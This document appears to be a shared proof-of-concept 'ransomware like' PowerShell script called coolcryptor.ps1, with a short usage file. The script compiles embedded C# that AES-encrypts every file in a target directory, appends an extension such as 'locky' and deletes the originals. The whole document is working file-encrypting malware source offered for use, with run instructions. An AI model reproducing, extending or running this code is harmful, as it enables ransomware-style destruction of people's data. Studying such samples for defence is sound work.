poc crypto ransomware like script. encrypts all files in given directory

coolcryptor.ps1

function Invoke-AESEncryptDirectory
{
    param(
        [string]$directory,
        [string]$extension
    )

    $csharp = @"
    //https://stackoverflow.com/questions/27645527/aes-encryption-on-large-files
    using System;
    using System.IO;
    using System.Security.Cryptography;

    public class CoolCryptor
    {
        public static void EncryptFile(string inputFile, string password, string ext)
        {

            //generate random salt
            byte[] salt = new byte[32];

            RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
            // Ten iterations.
            for (int i = 0; i < 10; i++)
            {
                // Fill buffer.
                rng.GetBytes(salt);
            }

            //create output file name
            FileStream fsCrypt = new FileStream(inputFile + "." + ext, FileMode.Create);

            //convert password string to byte arrray
            byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password);

            //Set Rijndael symmetric encryption algorithm
            RijndaelManaged AES = new RijndaelManaged();
            AES.KeySize = 256;
            AES.BlockSize = 128;
            AES.Padding = PaddingMode.PKCS7;

            //http://stackoverflow.com/questions/2659214/why-do-i-need-to-use-the-rfc2898derivebytes-class-in-net-instead-of-directly
            //"What it does is repeatedly hash the user password along with the salt." High iteration counts.
            Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000);
            AES.Key = key.GetBytes(AES.KeySize / 8);
            AES.IV = key.GetBytes(AES.BlockSize / 8);

            //Cipher modes: http://security.stackexchange.com/questions/52665/which-is-the-best-cipher-mode-and-padding-mode-for-aes-encryption
            AES.Mode = CipherMode.CFB;

            //write salt to the begining of the output file, so in this case can be random every time
            fsCrypt.Write(salt, 0, salt.Length);

            CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateEncryptor(), CryptoStreamMode.Write);

            FileStream fsIn = new FileStream(inputFile, FileMode.Open);

            //create a buffer (1mb) so only this amount will allocate in the memory and not the whole file
            byte[] buffer = new byte[1048576];
            int read;

            try
            {
                while ((read = fsIn.Read(buffer, 0, buffer.Length)) > 0)
                {
                    //Application.DoEvents(); // -> for responsive GUI, using Task will be better!
                    cs.Write(buffer, 0, read);
                }

                //close up
                fsIn.Close();

            }
            catch (Exception ex)
            {
                Console.WriteLine("Error: " + ex.Message);
            }
            finally
            {
                cs.Close();
                fsCrypt.Close();
            }
        }

    }
"@
    $add = Add-Type -TypeDefinition $csharp -Language CSharp -PassThru
    $fullpath = (resolve-path $directory)
    get-childitem $fullpath | %{[CoolCryptor]::EncryptFile($_.FullName,"password",$extension); remove-item $_.FullName}
}

usage.txt

//create some files in a temp directory
1..100 | %{new-item -type file -path "$_.txt"}

//import script
import-module .\coolcryptor.ps1

//encrypt files
Invoke-AESEncryptDirectory -directory <dir w/ temp files> -extension <extension (e.g. locky)>